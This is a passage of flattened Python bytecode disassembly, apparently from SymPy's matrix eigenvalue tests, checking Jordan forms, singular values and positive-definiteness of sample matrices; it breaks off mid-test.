LOAD_CONST 10 BUILD_LIST CALL_FUNCTION STORE_DEREF m LOAD_GLOBAL raises LOAD_GLOBAL NonSquareMatrixError LOAD_CLOSURE m BUILD_TUPLE LOAD_CONST <code object <lambda> at 0x7fab703b0150, file "f.py", line 428> LOAD_CONST 'test_jordan_form.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL Matrix LOAD_CONST 4 LOAD_CONST 4 LOAD_CONST 2 LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 2 LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 2 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 2 BUILD_LIST CALL_FUNCTION STORE_DEREF m LOAD_DEREF m LOAD_METHOD jordan_form CALL_METHOD UNPACK_SEQUENCE STORE_FAST P STORE_FAST J LOAD_DEREF m LOAD_FAST J COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_CONST 4 LOAD_CONST 4 LOAD_CONST 2 LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 2 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 2 LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 2 BUILD_LIST CALL_FUNCTION STORE_DEREF m LOAD_DEREF m LOAD_METHOD jordan_form CALL_METHOD UNPACK_SEQUENCE STORE_FAST P STORE_FAST J LOAD_DEREF m LOAD_FAST J COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_CONST 2 LOAD_CONST 4 LOAD_CONST 1 LOAD_CONST 0 BUILD_LIST LOAD_CONST -4 LOAD_CONST 2 LOAD_CONST 0 LOAD_CONST 1 BUILD_LIST LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 2 LOAD_CONST 4 BUILD_LIST LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST -4 LOAD_CONST 2 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST A LOAD_FAST A LOAD_METHOD jordan_form CALL_METHOD UNPACK_SEQUENCE STORE_FAST P STORE_FAST J LOAD_GLOBAL simplify LOAD_FAST P LOAD_FAST J BINARY_MULTIPLY LOAD_FAST P LOAD_METHOD inv CALL_METHOD BINARY_MULTIPLY CALL_FUNCTION LOAD_FAST A COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 BUILD_LIST CALL_FUNCTION LOAD_METHOD jordan_form CALL_METHOD LOAD_GLOBAL Matrix LOAD_CONST 1 BUILD_LIST CALL_FUNCTION LOAD_GLOBAL Matrix LOAD_CONST 1 BUILD_LIST CALL_FUNCTION BUILD_TUPLE COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 BUILD_LIST CALL_FUNCTION LOAD_ATTR jordan_form LOAD_CONST False LOAD_CONST ('calc_transform',) CALL_FUNCTION LOAD_GLOBAL Matrix LOAD_CONST 1 BUILD_LIST CALL_FUNCTION COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_CONST 3 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST -3 BUILD_LIST LOAD_CONST 0 LOAD_CONST -3 LOAD_CONST -3 LOAD_CONST 0 LOAD_CONST 3 BUILD_LIST LOAD_CONST 0 LOAD_CONST 3 LOAD_CONST 0 LOAD_CONST 3 LOAD_CONST 0 BUILD_LIST LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 3 LOAD_CONST 0 LOAD_CONST 3 BUILD_LIST LOAD_CONST 3 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 3 LOAD_CONST 0 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_DEREF m LOAD_GLOBAL raises LOAD_GLOBAL MatrixError LOAD_CLOSURE m BUILD_TUPLE LOAD_CONST <code object <lambda> at 0x7fab703b0f60, file "f.py", line 454> LOAD_CONST 'test_jordan_form.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL Matrix LOAD_CONST 0.6875 LOAD_CONST 0.125 LOAD_CONST 0.1875 LOAD_GLOBAL sqrt LOAD_CONST 3 CALL_FUNCTION BINARY_MULTIPLY BINARY_ADD BUILD_LIST LOAD_CONST 0.125 LOAD_CONST 0.1875 LOAD_GLOBAL sqrt LOAD_CONST 3 CALL_FUNCTION BINARY_MULTIPLY BINARY_ADD LOAD_CONST 0.3125 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_DEREF m LOAD_DEREF m LOAD_METHOD jordan_form CALL_METHOD UNPACK_SEQUENCE STORE_FAST P STORE_FAST J LOAD_GLOBAL all LOAD_CONST <code object <genexpr> at 0x7fab703b0540, file "f.py", line 458> LOAD_CONST 'test_jordan_form.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST P GET_ITER CALL_FUNCTION CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL all LOAD_CONST <code object <genexpr> at 0x7fab703b0ae0, file "f.py", line 459> LOAD_CONST 'test_jordan_form.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST J GET_ITER CALL_FUNCTION CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_DEREF m LOAD_METHOD jordan_form CALL_METHOD RETURN_VALUE LOAD_DEREF m LOAD_METHOD jordan_form CALL_METHOD RETURN_VALUE LOAD_FAST .0 FOR_ITER to 28 STORE_FAST x LOAD_GLOBAL isinstance LOAD_FAST x LOAD_GLOBAL Float CALL_FUNCTION JUMP_IF_TRUE_OR_POP LOAD_FAST x LOAD_CONST 0 COMPARE_OP == YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 28 STORE_FAST x LOAD_GLOBAL isinstance LOAD_FAST x LOAD_GLOBAL Float CALL_FUNCTION JUMP_IF_TRUE_OR_POP LOAD_FAST x LOAD_CONST 0 COMPARE_OP == YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Symbol LOAD_CONST 'x' LOAD_CONST True LOAD_CONST ('real',) CALL_FUNCTION STORE_FAST x LOAD_GLOBAL Matrix LOAD_CONST 0 LOAD_CONST 1 LOAD_GLOBAL I BINARY_MULTIPLY BUILD_LIST LOAD_CONST 2 LOAD_CONST 0 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST A LOAD_FAST A LOAD_METHOD singular_values CALL_METHOD LOAD_CONST 2 LOAD_CONST 1 BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL eye LOAD_CONST 3 CALL_FUNCTION STORE_FAST A LOAD_FAST x LOAD_FAST A LOAD_CONST (1, 1) STORE_SUBSCR LOAD_CONST 5 LOAD_FAST A LOAD_CONST (2, 2) STORE_SUBSCR LOAD_FAST A LOAD_METHOD singular_values CALL_METHOD STORE_FAST vals LOAD_GLOBAL set LOAD_FAST vals CALL_FUNCTION LOAD_CONST 5 LOAD_CONST 1 LOAD_GLOBAL Abs LOAD_FAST x CALL_FUNCTION BUILD_SET COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_GLOBAL sin LOAD_FAST x CALL_FUNCTION LOAD_GLOBAL cos LOAD_FAST x CALL_FUNCTION BUILD_LIST LOAD_GLOBAL cos LOAD_FAST x CALL_FUNCTION UNARY_NEGATIVE LOAD_GLOBAL sin LOAD_FAST x CALL_FUNCTION BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST A LOAD_CONST <code object <listcomp> at 0x7fab703b05d0, file "f.py", line 475> LOAD_CONST 'test_singular_values.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST A LOAD_METHOD singular_values CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST vals LOAD_FAST vals LOAD_GLOBAL S LOAD_ATTR One LOAD_GLOBAL S LOAD_ATTR One BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_CONST 2 LOAD_CONST 4 BUILD_LIST LOAD_CONST 1 LOAD_CONST 3 BUILD_LIST LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST A LOAD_FAST A LOAD_METHOD singular_values CALL_METHOD LOAD_GLOBAL sqrt LOAD_GLOBAL sqrt LOAD_CONST 221 CALL_FUNCTION LOAD_CONST 15 BINARY_ADD CALL_FUNCTION LOAD_GLOBAL sqrt LOAD_CONST 15 LOAD_GLOBAL sqrt LOAD_CONST 221 CALL_FUNCTION BINARY_SUBTRACT CALL_FUNCTION BUILD_LIST COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST A LOAD_ATTR T LOAD_METHOD singular_values CALL_METHOD LOAD_GLOBAL sqrt LOAD_GLOBAL sqrt LOAD_CONST 221 CALL_FUNCTION LOAD_CONST 15 BINARY_ADD CALL_FUNCTION LOAD_GLOBAL sqrt LOAD_CONST 15 LOAD_GLOBAL sqrt LOAD_CONST 221 CALL_FUNCTION BINARY_SUBTRACT CALL_FUNCTION LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST sv LOAD_FAST sv LOAD_METHOD trigsimp CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL Matrix LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_FUNCTION BUILD_MAP COMPARE_OP == LOAD_CONST False COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Matrix LOAD_CONST 2 LOAD_CONST -1 LOAD_CONST 0 BUILD_LIST LOAD_CONST -1 LOAD_CONST 2 LOAD_CONST -1 BUILD_LIST LOAD_CONST 0 LOAD_CONST -1 LOAD_CONST 2 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST m LOAD_FAST m LOAD_ATTR is_positive_definite LOAD_CONST True COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_positive_semidefinite LOAD_CONST True COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_negative_definite LOAD_CONST False COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_negative_semidefinite LOAD_CONST False COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_indefinite LOAD_CONST False COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_CONST 5 LOAD_CONST 4 BUILD_LIST LOAD_CONST 4 LOAD_CONST 5 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST m LOAD_FAST m LOAD_ATTR is_positive_definite LOAD_CONST True COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_positive_semidefinite LOAD_CONST True COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_negative_definite LOAD_CONST False COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_negative_semidefinite LOAD_CONST False COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_indefinite LOAD_CONST False COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_CONST 2 LOAD_CONST -1 LOAD_CONST -1 BUILD_LIST LOAD_CONST -1 LOAD_CONST 2 LOAD_CONST -1 BUILD_LIST LOAD_CONST -1 LOAD_CONST -1 LOAD_CONST 2 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST m LOAD_FAST m LOAD_ATTR is_positive_definite LOAD_CONST False COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_positive_semidefinite LOAD_CONST True COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_negative_definite LOAD_CONST False COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_negative_semidefinite LOAD_CONST False COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_indefinite LOAD_CONST False COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST LOAD_CONST 2 LOAD_CONST 4 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST m LOAD_FAST m LOAD_ATTR is_positive_definite LOAD_CONST False COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_positive_semidefinite LOAD_CONST True COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_negative_definite LOAD_CONST False COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_negative_semidefinite LOAD_CONST False COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_indefinite LOAD_CONST False COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST LOAD_CONST 4 LOAD_CONST 8 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST m LOAD_FAST m LOAD_ATTR is_positive_definite LOAD_CONST True COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_positive_semidefinite LOAD_CONST True COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_negative_definite LOAD_CONST False COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_negative_semidefinite LOAD_CONST False COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_indefinite LOAD_CONST False COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_CONST 1 LOAD_CONST 2 LOAD_GLOBAL I BINARY_MULTIPLY BUILD_LIST LOAD_GLOBAL I UNARY_NEGATIVE LOAD_CONST 4 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST m LOAD_FAST m LOAD_ATTR is_positive_definite LOAD_CONST True COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_positive_semidefinite LOAD_CONST True COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_negative_definite LOAD_CONST False COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_negative_semidefinite LOAD_CONST False COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_indefinite LOAD_CONST False COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Symbol LOAD_CONST 'a' LOAD_CONST True LOAD_CONST ('positive',) CALL_FUNCTION STORE_FAST a LOAD_GLOBAL Symbol LOAD_CONST 'b' LOAD_CONST True LOAD_CONST ('negative',) CALL_FUNCTION STORE_FAST b LOAD_GLOBAL Matrix LOAD_FAST a LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST LOAD_CONST 0 LOAD_FAST a LOAD_CONST 0 BUILD_LIST LOAD_CONST 0 LOAD_CONST 0 LOAD_FAST a BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST m LOAD_FAST m LOAD_ATTR is_positive_definite LOAD_CONST True COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_positive_semidefinite LOAD_CONST True COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_negative_definite LOAD_CONST False COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_negative_semidefinite LOAD_CONST False COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_indefinite LOAD_CONST False COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_FAST b LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST LOAD_CONST 0 LOAD_FAST b LOAD_CONST 0 BUILD_LIST LOAD_CONST 0 LOAD_CONST 0 LOAD_FAST b BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST m LOAD_FAST m LOAD_ATTR is_positive_definite LOAD_CONST False COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_positive_semidefinite LOAD_CONST False COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_negative_definite LOAD_CONST True COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_negative_semidefinite LOAD_CONST True COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_indefinite LOAD_CONST False COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_FAST a LOAD_CONST 0 BUILD_LIST LOAD_CONST 0 LOAD_FAST b BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST m LOAD_FAST m LOAD_ATTR is_positive_definite LOAD_CONST False COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_positive_semidefinite LOAD_CONST False COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_negative_definite LOAD_CONST False COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_negative_semidefinite LOAD_CONST False COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_indefinite LOAD_CONST True COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_CONST 0.0228202735623867 LOAD_CONST 0.00518748979085398 LOAD_CONST -0.0743036351048907 LOAD_CONST -0.00709135324903921 BUILD_LIST LOAD_CONST 0.00518748979085398 LOAD_CONST 0.034904535978635 LOAD_CONST 0.0830317991056637 LOAD_CONST 0.00233147902806909 BUILD_LIST LOAD_CONST -0.0743036351048907 LOAD_CONST 0.0830317991056637 LOAD_CONST 1.15859676366277 LOAD_CONST 0.340359081555988 BUILD_LIST LOAD_CONST -0.00709135324903921 LOAD_CONST 0.00233147902806909 LOAD_CONST 0.340359081555988 LOAD_CONST 0.928147644848199 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST m LOAD_FAST m LOAD_ATTR is_positive_definite LOAD_CONST True COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_positive_semidefinite LOAD_CONST True COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_indefinite LOAD_CONST False COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST LOAD_CONST 0 LOAD_CONST 2 LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST m LOAD_FAST m LOAD_ATTR is_positive_definite EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m LOAD_ATTR is_positive_semidefinite EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('_is_positive_semidefinite_cholesky',) IMPORT_NAME sympy.matrices.eigen IMPORT_FROM _is_positive_semidefinite_cholesky STORE_FAST _is_positive_semidefinite_cholesky POP_TOP LOAD_GLOBAL Matrix LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST m LOAD_FAST _is_positive_semidefinite_cholesky LOAD_FAST m CALL_FUNCTION LOAD_CONST True COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST LOAD_CONST 0 LOAD_CONST 5 LOAD_CONST -10 LOAD_GLOBAL I BINARY_MULTIPLY BUILD_LIST LOAD_CONST 0 LOAD_CONST 10 LOAD_GLOBAL I BINARY_MULTIPLY LOAD_CONST 5 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST m LOAD_FAST _is_positive_semidefinite_cholesky LOAD_FAST m CALL_FUNCTION LOAD_CONST False COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST -1 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST m LOAD_FAST _is_positive_semidefinite_cholesky LOAD_FAST m CALL_FUNCTION LOAD_CONST False COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_CONST 0 LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 LOAD_CONST 0 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST m LOAD_FAST _is_positive_semidefinite_cholesky LOAD_FAST m CALL_FUNCTION LOAD_CONST False COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_CONST 4 LOAD_CONST -2 LOAD_CONST -6 BUILD_LIST LOAD_CONST -2 LOAD_CONST 10 LOAD_CONST 9 BUILD_LIST LOAD_CONST -6 LOAD_CONST 9 LOAD_CONST 14 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST m LOAD_FAST _is_positive_semidefinite_cholesky LOAD_FAST m CALL_FUNCTION LOAD_CONST True COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_CONST 9 LOAD_CONST -3 LOAD_CONST 3 BUILD_LIST LOAD_CONST -3 LOAD_CONST 2 LOAD_CONST 1 BUILD_LIST LOAD_CONST 3 LOAD_CONST 1 LOAD_CONST 6 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST m LOAD_FAST _is_positive_semidefinite_cholesky LOAD_FAST m CALL_FUNCTION LOAD_CONST True COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_CONST 4 LOAD_CONST -2 LOAD_CONST 2 BUILD_LIST LOAD_CONST -2 LOAD_CONST 1 LOAD_CONST -1 BUILD_LIST LOAD_CONST 2 LOAD_CONST -1 LOAD_CONST 5 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST m LOAD_FAST _is_positive_semidefinite_cholesky LOAD_FAST m CALL_FUNCTION LOAD_CONST True COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL Matrix LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST -1 BUILD_LIST LOAD_CONST 2 LOAD_CONST 5 LOAD_CONST 1 BUILD_LIST LOAD_CONST -1 LOAD_CONST 1 LOAD_CONST 9 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST m LOAD_FAST _is_positive_semidefinite_cholesky LOAD_FAST m CALL_FUNCTION LOAD_CONST False COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Matrix LOAD_CONST 5 LOAD_CONST -5 LOAD_CONST -3 LOAD_CONST 2 LOAD_CONST -7 BUILD_LIST LOAD_CONST -2 LOAD_CONST -5 LOAD_CONST 0 LOAD_CONST 2 LOAD_CONST 1 BUILD_LIST LOAD_CONST -2 LOAD_CONST -7 LOAD_CONST -5 LOAD_CONST -2 LOAD_CONST -6 BUILD_LIST LOAD_CONST 7 LOAD_CONST 10 LOAD_CONST 3 LOAD_CONST 9 LOAD_CONST -2 BUILD_LIST LOAD_CONST 4 LOAD_CONST -10 LOAD_CONST 3 LOAD_CONST -8 LOAD_CONST -4 BUILD_LIST BUILD_LIST CALL_FUNCTION STORE_FAST A LOAD_FAST A LOAD_METHOD eigenvects CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Symbol LOAD_CONST 't' CALL_FUNCTION STORE_FAST t LOAD_GLOBAL Matrix LOAD_CONST 3 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 0 BUILD_LIST LOAD_CONST 0 LOAD_CONST 2 LOAD_CONST 2 LOAD_CONST 0 